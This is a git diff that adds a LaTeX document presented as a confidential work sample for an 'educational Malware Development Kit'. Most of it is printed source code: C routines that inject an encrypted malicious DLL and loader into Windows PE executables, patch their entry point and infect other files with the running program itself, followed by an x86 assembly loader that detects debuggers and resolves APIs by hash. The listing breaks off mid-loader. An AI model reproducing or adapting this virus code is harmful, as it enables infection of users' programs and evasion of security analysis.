diff options
Diffstat (limited to 'doc/work_sample.tex')
-rw-r--r-- | doc/work_sample.tex | 1004 |
1 files changed, 1004 insertions, 0 deletions
diff --git a/doc/work_sample.tex b/doc/work_sample.tex new file mode 100644 index 0000000..15188b2 --- /dev/null +++ b/doc/work_sample.tex @@ -0,0 +1,1004 @@ +\documentclass{article} +\usepackage[a4paper, total={7in, 9in}]{geometry} +\usepackage[svgnames]{xcolor} +\usepackage{listings} % Include the listings-package +\usepackage{textcomp} +\begin{document} + +\title{-VERTRAULICH- Arbeitsprobe MDK} +\author{Toni Uhlig} + +\maketitle + +\begin{abstract} +An educational [M]alware [D]evelopment [K]it. +\end{abstract} + +\section{source code (parts)} +pe\_infect.c +\lstset{language=C, + basicstyle=\ttfamily, + keywordstyle=\color{blue}\ttfamily, + stringstyle=\color{red}\ttfamily, + commentstyle=\color{green}\ttfamily, + morecomment=[l][\color{magenta}]{\#}, + breaklines=true +} +\begin{lstlisting}[frame=single] % Start your code-block + +/* + * Module: pe_infect.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Parses/Modifies a windows portable executable. + * Add sections, do image rebasing. + * Inject data into sections. + */ + +#include <windows.h> + +#include "utils.h" +#include "compat.h" +#include "log.h" +#include "pe_infect.h" +#include "mem.h" +#include "file.h" +#include "aes.h" +#include "patch.h" + + +static DWORD sectionAdr = 0x0; + +/* default dll image base */ +#ifndef _MILLER_IMAGEBASE +#define _MILLER_IMAGEBASE 0x10000000 +#endif +static DWORD imageBase = _MILLER_IMAGEBASE; +static DWORD imageSize = 0x0; + +#include "xor_strings_gen.h" +/* XOR encrypted strings */ +_XORDATA_(dllsection, DLLSECTION); +_XORDATA_(ldrsection, LDRSECTION); + +#include "aes_strings_gen.h" +#include "loader_x86_crypt.h" +/* AES encrypted byte buffer */ +_AESDATA_(ldrdata, LOADER_SHELLCODE); +_AESSIZE_(ldrsiz, ldrdata); + +static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE; + + +inline void setImageBase(DWORD newBase) { + imageBase = newBase; +} + +inline DWORD getImageBase(void) { + return imageBase; +} + +inline void setImageSize(DWORD newSize) { + imageSize = newSize; +} + +inline DWORD getImageSize(void) { + return imageSize; +} + +inline void setSectionAdr(DWORD newAdr) { + sectionAdr = newAdr; +} + +inline DWORD getSectionAdr(void) { + return sectionAdr; +} + +BYTE* getLoader(SIZE_T* pSiz) +{ + aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ); + BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE); + aes_free_ctx(ctx); + return ldr; +} + +SIZE_T getRealLoaderSize(void) +{ + return real_ldrsiz; +} + +inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) { + return ((BYTE*)base) + offset; +} + +DWORD RvaToOffset(struct ParsedPE* ppPtr, DWORD dwRva) +{ + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = 0; + + for (SIZE_T i = 0; i < nSections; ++i) { + if (dwRva >= sections[i].VirtualAddress) { + dwPos = sections[i].VirtualAddress; + dwPos += sections[i].SizeOfRawData; + } + if (dwRva < dwPos) { + dwRva = dwRva - sections[i].VirtualAddress; + return dwRva + sections[i].PointerToRawData; + } + } + return -1; +} + +inline BYTE* RvaToPtr(struct ParsedPE* ppPtr, DWORD dwRva) +{ + return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva)); +} + +DWORD OffsetToRva(struct ParsedPE* ppPtr, DWORD offset) +{ + if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset) + return -1; + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData); + + for (SIZE_T i = 0; i < nSections; ++i) { + if (offset < sections[i].PointerToRawData) { + break; + } + dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData); + } + return dwPos + ppPtr->hdrOptional->ImageBase; +} + +inline DWORD PtrToOffset(struct ParsedPE* ppPtr, BYTE* ptr) +{ + DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf; + return dwRva; +} + +DWORD PtrToRva(struct ParsedPE* ppPtr, BYTE* ptr) +{ + return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr)); +} + +BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage) +{ + ppPtr->valid = FALSE; + /* check minimum size */ + if (szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER)) + return FALSE; + ppPtr->ptrToBuf = buf; + ppPtr->bufSiz = szBuf; + ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf; + if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */ + return FALSE; + ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)); + ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)); + if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */ + return FALSE; + if (ppPtr->hdrFile->Machine !=0x014C) /* i386 */ + return FALSE; + ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); + ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory; + ppPtr->valid = TRUE; + + /* during initial image rebasing, dont execute stuff which needs a rebased image */ + if (!earlyStage) { + ppPtr->hasDLL = FALSE; + ppPtr->hasLdr = FALSE; + /* pointer to dll section */ + STATIC_STR(dllsection); + if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL ) + ppPtr->hasDLL = TRUE; + STATIC_STR(dllsection); + /* pointer to loader section */ + STATIC_STR(ldrsection); + if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL ) { + ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data)); + ppPtr->hasLdr = TRUE; + } + STATIC_STR(ldrsection); + } + return TRUE; +} + +BOOL bAddSection(const char *sName, BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr) +{ + /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */ + + /* enough header space avail? */ + if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader + + (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER))) + { + return FALSE; + } + + /* Read the original fields of headers */ + DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections; + /* Create the new section */ + DWORD pointerToLastSection = 0; + DWORD sizeOfLastSection = 0; + DWORD virtualAddressOfLastSection = 0; + DWORD virtualSizeOfLastSection = 0; + + for(SIZE_T i = 0; i != originalNumberOfSections; ++i) + { + if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData) + { + /* section alrdy exists? */ + if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0) + return FALSE; + pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData; + sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData; + virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress; + virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize; + } + } + /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */ + /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */ + if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection) + { + pointerToLastSection = ppPtr->bufSiz; + sizeOfLastSection = 0; + } + + /* set new section header data */ + IMAGE_SECTION_HEADER newImageSectionHeader; + memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER)); + newImageSectionHeader.Misc.VirtualSize = szSection; + memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name))); + newImageSectionHeader.PointerToRawData = pointerToLastSection + sizeOfLastSection; + newImageSectionHeader.PointerToRelocations = 0; + newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */ + newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */ + /* Loader is usually stored in an executable section, DLL in a readonly section. + * The Loader does not execute code directly from section. + * (see loader source for detailed info) + */ + newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ); + + /* update FILE && OPTIONAL header */ + ++ppPtr->hdrFile->NumberOfSections; + ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0); + + /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */ + if (!(ppPtr->ptrToBuf = XReallocAbs(ppPtr->ptrToBuf, ppPtr->bufSiz, ppPtr->hdrOptional->SizeOfImage))) + return FALSE; + + /* if everything is gone right, parsing should succeed */ + if (!bParsePE(ppPtr->ptrToBuf, ppPtr->hdrOptional->SizeOfImage, ppPtr, FALSE)) + { + return FALSE; + } + + /* copy new section header */ + memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER)); + /* copy new section data */ + memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection); + + return TRUE; +} + +static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize) +{ + SIZE_T siz = 0x0; + DWORD startAdr = 0x0; + + /* Am I already in an infected binary? */ + if (ppe->hasDLL) { + startAdr = (DWORD)ppe->ptrToDLL; + siz = ppe->sizOfDLL; + } + /* dirty workaround e.g. when started from rundll.exe */ + if (!startAdr) { + startAdr = getSectionAdr(); + } + if (!siz) { + siz = getImageSize(); + } + /* check dwBase for valid memory region */ + if (startAdr) + { + *pDwBase = startAdr; + *pDwSize = siz; + if (_IsBadReadPtr((void*)startAdr, siz) == TRUE) + { + *pDwBase = 0x0; + *pDwSize = 0x0; + LOG_MARKER + } else return TRUE; + } else LOG_MARKER + return FALSE; +} + +static struct ParsedPE* +pParsePE(BYTE* buf, SIZE_T szBuf) +{ + struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE)); + + if (!ppe) + { + return NULL; + } + if (bParsePE(buf, szBuf, ppe, FALSE)) + { + return ppe; + } + free(ppe); + return NULL; +} + +static BOOL bInfectMemWith(BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe) +{ + BOOL ret = FALSE; + + if (ppe) + { + if (bIsInfected(ppe)) { + LOG_MARKER + } else { + STATIC_STR(dllsection); + if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe)) + { + ret = TRUE; + } else LOG_MARKER + STATIC_STR(dllsection); + + STATIC_STR(ldrsection); + SIZE_T lsiz = 0; + BYTE* l = getLoader(&lsiz); + if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe)) + { + ret = TRUE; + } else LOG_MARKER; + if (l) free(l); + STATIC_STR(ldrsection); + + if (ret) { + ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE); + } + } + } + else + { + LOG_MARKER + } + return ret; +} + +BOOL bInfectFileWith(const char* sFile, BYTE* maliciousBuf, SIZE_T maliciousSiz) +{ + BOOL ret = FALSE; + BYTE* buf; + SIZE_T szBuf; + HANDLE hFile; + + if (!bOpenFile(sFile, FALSE, &hFile)) { + LOG_MARKER + return ret; + } + if (!bFileToBuf(hFile, &buf, &szBuf)) + { + LOG_MARKER + _CloseHandle(hFile); + return ret; + } + struct ParsedPE* ppe = pParsePE(buf, szBuf); + if (ppe) + { + if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe)) + { + if (bPatchNearEntry(ppe)) + { + if (bBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz)) + { + if (!bIsInfected(ppe)) + { + LOG_MARKER + } else { + ret = TRUE; + } + } + } else { + LOG_MARKER + } + } + free(ppe); + } else LOG_MARKER; + free(buf); + _CloseHandle(hFile); + return ret; +} + +BOOL bInfectWithMyself(const char* sFile) +{ + BOOL ret = FALSE; + BYTE* buf = NULL; + SIZE_T szBuf; + LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1); + HANDLE hMyself; + struct ParsedPE* ppe = NULL; + + if (!sFileMyself) + { + LOG_MARKER + } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0) + { + LOG_MARKER + } else if (!bOpenFile(sFileMyself, TRUE, &hMyself)) { + LOG_MARKER + } else if (!bFileToBuf(hMyself, &buf, &szBuf)) + { + LOG_MARKER + } else { + ppe = pParsePE(buf, szBuf); + } + if (ppe) + { + /* find DLL (segment-)address and (segment-)size in current executable */ + DWORD dwBase = NULL; + DWORD dwSize = 0x0; + if (!bFindMyself(ppe, &dwBase, &dwSize)) + { + LOG_MARKER + } else { + /* infect target executable (DLL and LOADER) + * Remember: The Loader is always accessible by our DLL (AES encrypted). + */ + if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) { + ret = TRUE; + } else { LOG_MARKER } + } + free(ppe); + } else LOG_MARKER; + if (buf) + free(buf); + _CloseHandle(hMyself); + free(sFileMyself); + return ret; +} + +BOOL bIsInfected(struct ParsedPE* ppPtr) +{ + return (ppPtr->hasDLL && ppPtr->hasLdr); +} + +void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, struct ParsedPE* ppPtr, SIZE_T* pSegSiz) +{ + DWORD result = 0; + DWORD sSize = 0; + + if (!ppPtr->valid) return NULL; + /* walk through sections and compare every name with sName */ + for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx) + { + PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx]; + if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + { + result = RvaToOffset(ppPtr, sec->VirtualAddress); + sSize = sec->Misc.VirtualSize; + break; + } + } + + if (result != 0) + { + /* check for valid RVA */ + result += (DWORD)ppPtr->ptrToBuf; + if (_IsBadReadPtr((void*)result, sSize)) + { + result = 0; + } + } + + if (pSegSiz) + *pSegSiz = sSize; + return (void*)result; +} + +BOOL bDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, void* dllBaseAdr) +{ + struct ParsedPE ppe; + + + if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE)) + return FALSE; + + /* find symbol relocations (.reloc section) */ + DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc); + PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); + + /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. * + * Rebasing is one of the first things to do! + */ + DWORD dllImageBase = _MILLER_IMAGEBASE; + DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase; + + /* walk through all relocation entries and add delta to every entry */ + while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress) + { + int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* wCurEntry = (WORD*)(pBaseReloc + 1); + void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress); + + for (int i = 0; i < count; i++) + { + if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) { + *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta; + } + } + pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock); + } + return TRUE; +} +\end{lstlisting} + +\newpage +loader\_x86.asm +\lstset{language={[x86masm]Assembler}} +\begin{lstlisting}[frame=single] % Start your code-block + +; Module: loader_x86.asm +; Author: Toni <matzeton@googlemail.com> +; Purpose: 1. get kernel32.dll base address +; 2. get required function ptr +; 3. allocate virtual memory (heap) +; 4. copy sections from dll +; 5. run minimal crt at AddressOfEntry + +%ifndef _LDR_SECTION +%error "expected _LDR_SECTION to be defined" +%endif +SECTION _LDR_SECTION +GLOBAL __ldr_start + +; const data offsets +ESI_PTRDLL EQU 0x00 ; PtrToDLL +ESI_SIZDLL EQU 0x04 ; SizeOfDLL +; STACK +STACKMEM EQU 0x38 ; reserve memory on stack (main routine) +; stack offsets +OFF_STRRPTR EQU 0x00 ; string 'IsBadReadPtr' +OFF_STRVALLOC EQU 0x04 ; string 'VirtualAlloc' +OFF_KERNEL32 EQU 0x08 ; KERNEL32 base address +OFF_PROCADDR EQU 0x0c ; FuncPtrGetProcAddress +OFF_VALLOC EQU 0x10 ; FuncPtrVirtualAlloc +OFF_BADRPTR EQU 0x14 ; FuncPtrIsBadReadPtr +OFF_ADROFENTRY EQU 0x18 ; AddressOfEntryPoint +OFF_IMAGEBASE EQU 0x1c ; DLL ImageBAse +OFF_SIZOFIMAGE EQU 0x20 ; DLL SizeOfImage +OFF_SIZOFHEADR EQU 0x24 ; DLL SizeOfHeaders +OFF_FSTSECTION EQU 0x28 ; DLL FirstSection +OFF_NUMSECTION EQU 0x2c ; DLL NumberOfSections +OFF_VALLOCBUF EQU 0x30 ; buffer from VirtualAlloc +; for vegetarians only +%define DEADBEEF 0xde,0xad,0xbe,0xef +%define CAFEBABE 0xca,0xfe,0xba,0xbe +%define DEADC0DE 0xde,0xad,0xc0,0xde + + +; safe jump (so we can jump to the start of our loader buffer later) +jmp near __ldr_start +db CAFEBABE +db 0x66,0x66,0x66,0x66 ; unused byte padding (0xCA is a valid opcode) + +; Calculate a 32 bit hash from a string (non-case-sensitive) +; arguments: esi = ptr to string +; ecx = bufsiz +; modifies : eax, edi +; return : 32 bit hash value in edi +__ldr_calcStrHash: + xor edi,edi + __ldr_calcHash_loop: + xor eax,eax + lodsb ; read in the next byte of the name + cmp al,'a' ; some versions of Windows use lower case module names + jl __ldr_calcHash_not_lowercase + sub al,0x20 ; if so normalise to uppercase + __ldr_calcHash_not_lowercase: + ror edi,13 ; rotate right our hash value + add edi,eax ; add the next byte of the name to the hash + loop __ldr_calcHash_loop + ret + + +; Get base address of kernel32.dll (alternative way through PEB) +; arguments: - +; modifies : eax, ebx +; return : base addres in eax +__ldr_getModuleHandleKernel32PEB: + ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table + ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-kernel32-from-peb + mov eax,[fs:0x30] ; PEB +%ifndef _DEBUG + ; check if we ware beeing debugged + xor ebx,ebx + mov bl,[eax + 0x2] ; BeeingDebugged + test bl,bl + jnz __ldr_getModuleHandleKernel32PEB_fail + ; PEB NtGlobalFlag == 0x70 ? + ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet + xor ebx,ebx + mov bl,[eax + 0x68] + cmp bl,0x70 + je __ldr_getModuleHandleKernel32PEB_fail +%endif + mov eax,[eax+0x0c] ; PEB->Ldr + mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) + mov ebx,eax + xor ecx,ecx + __ldr_getModuleHandleKernel32PEB_loop: + pushad + mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE) + mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2 + call __ldr_calcStrHash + cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll' + popad + mov ecx,[ebx+0x10] ; get base address + mov ebx,[ebx] + jne __ldr_getModuleHandleKernel32PEB_loop + mov eax,ecx + ret + __ldr_getModuleHandleKernel32PEB_fail: + xor eax,eax + ret + + +; Get Address of GetProcAddress from module export directory +; arguments: eax = kernel32 base address +; modifies : eax, ebx, ecx, edi, edx, esi +; return : eax +__ldr_getAdrOfGetProcAddress: + mov ebx,eax + add ebx,[eax+0x3c] ; PE header + mov ebx,[ebx+0x78] ; RVA export directory + add ebx,eax + mov esi,[ebx+0x20] ; RVA Export Number Table + add esi,eax ; VA of ENT + mov edx,eax ; remember kernel base + xor ecx,ecx + __ldr_getAdrOfGetProcAddress_loop: + inc ecx + lodsd ; load dword from esi into eax + add eax,edx ; add kernel base + pushad + mov esi,eax ; string + mov ecx,14 ; len('GetProcAddress') + call __ldr_calcStrHash + cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' + popad + jne __ldr_getAdrOfGetProcAddress_loop + dec ecx + mov edi,ebx + mov edi,[edi+0x24] ; RVA of Export Ordinal Table + add edi,edx ; VA of EOT + movzx edi,word [ecx*2+edi] ; ordinal to function + mov eax,ebx + mov eax,[eax+0x1c] ; RVA of Export Address Table + add eax,edx ; VA of EAT + mov eax,[edi*4+eax] ; RVA of GetProcAddress + add eax,edx ; VA of GetProcAddress + ret + + +; Get function pointer by function name +; arguments: ebx = base address of module +; ecx = string pointer to function name +; modifies : eax +; return : address in eax +__ldr_getProcAddress: + mov eax,[ebp + OFF_PROCADDR] ; ptr to GetProcAddress(...) + push ecx + push ebx + call eax + ret + + +; Check if pointer is readable +; arguments: ebx = pointer +; ecx = size +; modifies : eax +; return : [0,1] in eax +__ldr_isBadReadPtr: + push ecx + push ebx + mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr + call eax + ret + + +; Allocate virtual memory in our current process space +; arguments: ebx = preffered address +; ecx = size of memory block +; modifies : eax +; return : ptr in eax +__ldr_VirtualAlloc: + push ecx ; save size for a possible second call to VirtualAlloc(...) + push dword 0x40 ; PAGE_EXECUTE_READWRITE + push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT + push ecx + push ebx + mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc + call eax + test eax,eax + pop ecx + jnz __ldr_VirtualAlloc_success + ; base address already taken + push dword 0x40 ; PAGE_EXECUTE_READWRITE + push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT + push ecx + xor eax,eax + push eax + mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc + call eax + __ldr_VirtualAlloc_success: + ret + + +; Read DLL PE header from memory +; arguments: ebx = ptr to memory +; modifies : eax, ecx, edx +; return : [0,1] in eax +__ldr_ReadPE: + ; check dos magic number + xor ecx,ecx + mov cx,[ebx] + cmp cx,0x5a4d ; Magic number (DOS-HEADER) + jne near __ldr_ReadPE_fail + ; e_lfanew + mov ecx,ebx + add ecx,0x3c ; OFFSET: e_lfanew + mov eax,[ecx] ; e_lfanew + add eax,ebx ; [e_lfanew + ptr] = NT-HEADER + mov ecx,eax ; *** save NT-HEADER in ECX *** + ; check pe magic number + xor eax,eax + mov eax,[ecx] + cmp ax,0x4550 ; 'EP' -> 'PE' + jne __ldr_ReadPE_fail + ; check opt header magic + mov eax,ecx + add eax,0x18 ; [NT-HEADER + 0x18] = opt header magic + mov edx,eax + xor eax,eax + mov ax,[edx] + cmp ax,0x010b ; 0x010b = PE32 + jne short __ldr_ReadPE_fail + ; entry point VA + mov eax,ecx + add eax,0x28 + mov eax,[eax] + mov [ebp + OFF_ADROFENTRY],eax + ; get image base && image size + mov eax,ecx + add eax,0x34 ; [NT-HEADER + 0x34] = ImageBase + mov eax,[eax] + test eax,eax ; check if ImageBase is not NULL + jz short __ldr_ReadPE_fail + mov [ebp + OFF_IMAGEBASE], eax + mov eax,ecx + add eax,0x50 ; [NT-HEADER + 0x50] = SizeOfImage + mov eax,[eax] + test eax,eax + jz short __ldr_ReadPE_fail ; check if ImageSize is not zero + mov [ebp + OFF_SIZOFIMAGE], eax + ; get size of headers + mov eax,ecx + add eax,0x54 ; [NT-HEADER + 0x54] = SizeOfHeaders + mov eax,[eax] + test eax,eax + jz short __ldr_ReadPE_fail + mov [ebp + OFF_SIZOFHEADR], eax + ; get number of sections + mov edx,ecx + add edx,0x6 ; [NT-HEADER + 0x8] = NumberOfSections + xor eax,eax + mov ax,[edx] + test eax,eax + jz short __ldr_ReadPE_fail + mov [ebp + OFF_NUMSECTION], eax + ; get ptr to first section + mov edx,ecx + add edx,0x14 ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders + xor eax,eax + mov ax,[edx] + mov edx,eax + mov eax,ecx + add eax,0x18 + add eax,edx ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders] = FirstSection + mov [ebp + OFF_FSTSECTION], eax + ; return true + mov eax,1 + ret + __ldr_ReadPE_fail: + xor eax,eax + ret + + +; Copies n bytes memory from source to dest +; arguments: ebx = dest +; ecx = size +; edx = source +; modifies : eax, edi +; return : eax +__ldr_memcpy: + xor edi,edi + xor eax,eax + __ldr_memcpy_loop0: + mov al,[edx + edi] + mov [ebx + edi],al + inc edi + loop __ldr_memcpy_loop0 + ret + + +__ldr_start: + ; new stack frame + push ebp + ; save gpr+flag regs + pushad + pushfd + ; GET POINTER TO CONST DATA + jmp near __ldr_ConstData + __ldr_gotConstData: + pop esi ; pointer to const data in ESI + ; RESERVE STACK memory + sub esp, STACKMEM + mov ebp, esp ; backup ptr for subroutines + + call __ldr_getModuleHandleKernel32PEB ; module handle in eax + mov [ebp + OFF_KERNEL32],eax + test eax,eax ; check if module handle is not NULL + jz __ldr_end + push esi + call __ldr_getAdrOfGetProcAddress ; adr of GetProcAddress in eax + mov [ebp + OFF_PROCADDR],eax + pop esi + + jmp short _string_VirtualAlloc + _got_VirtualAlloc: + pop eax + mov [ebp + OFF_STRVALLOC],eax + jmp short _string_IsBadReadPtr + _got_IsBadReadPtr: + pop eax + mov [ebp + OFF_STRRPTR],eax + jmp _strings_done + ; strings + _string_VirtualAlloc: + call _got_VirtualAlloc + db 'VirtualAlloc',0x00 + _string_IsBadReadPtr: + call _got_IsBadReadPtr + db 'IsBadReadPtr',0x00 + ; unused byte padding (we are reading data from code section) + db 0x90,0x90,0x90,0x90,0x90 + + _strings_done: + + ; *** STACK LAYOUT *** + ; [ebp] = 'IsBadReadPtr' | [ebp + 0x4] = 'VirtualAlloc' + ; [ebp + 0x8] = Kernel32Base | [ebp + 0xc] = PtrGetProcAddress + ; [ebp + 0x10] = PtrVirtualAlloc | [ebp + 0x14] = PtrIsBadReadPtr + ; [ebp + 0x18] = NT-HEADER | [ebp + 0x1c] = AddressOfEntryPoint + ; [ebp + 0x20] = ImageBase | [ebp + 0x24] = SizeOfImage + ; [ebp + 0x28] = SizeOfHeaders | [ebp + 0x2c] = FirstSection + ; [ebp + 0x30] = NumberOfSections | [ebp + 0x34] = vallocBuf + ; [ebp + 0x38] = needBaseReloc + + ; GetProcAddress(KERNEL32BASE, 'VirtualAlloc') + mov ebx, [ebp + OFF_KERNEL32] ; KERNEL32BASE + mov ecx, [ebp + OFF_STRVALLOC] + call __ldr_getProcAddress ; eax holds function pointer of VirtualAlloc + mov [ebp + OFF_VALLOC], eax + ; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr') + mov ecx, [ebp + OFF_STRRPTR] + call __ldr_getProcAddress ; eax holds function pointer of IsBadReadPtr + mov [ebp + OFF_BADRPTR], eax + ; check if malware dll pointer is valid + mov ebx, [esi + ESI_PTRDLL] + mov ecx, [esi + ESI_SIZDLL] + call __ldr_isBadReadPtr + test eax,eax + jnz __ldr_end + ; read dll pe header (ebx = PtrToDLL) + call __ldr_ReadPE + cmp al,0x1 + jne __ldr_end + ; VirtualAlloc(...) + mov ebx,[ebp + OFF_IMAGEBASE] ; ImageBase (MALWARE-DLL) + mov ecx,[ebp + OFF_SIZOFIMAGE] ; SizeOfImage (MALWARE-DLL) + call __ldr_VirtualAlloc ; eax holds pointer to allocated memory + test eax,eax + jz __ldr_end + mov [ebp + OFF_VALLOCBUF],eax + ; copy header + mov ebx,eax ; dest + mov ecx,[ebp + OFF_SIZOFHEADR] ; size + mov edx,[esi + ESI_PTRDLL] ; src + call __ldr_memcpy + ; copy sections + mov ecx,[ebp + OFF_NUMSECTION] + mov ebx,[ebp + OFF_FSTSECTION] + __ldr_section_copy: + mov edx,ebx + add edx,0xc ; RVA of section[i] + mov edx,[edx] + add edx,[ebp + OFF_VALLOCBUF] ; VA of section[i] + mov edi,ebx + add edi,0x10 + mov edi,[edi] ; SizeOfRawData + mov eax,ebx + add eax,0x14 + mov eax,[eax] + add eax,[esi + ESI_PTRDLL] + ; copy one section + pushad + mov ebx,edx + mov ecx,edi + mov edx,eax + call __ldr_memcpy + 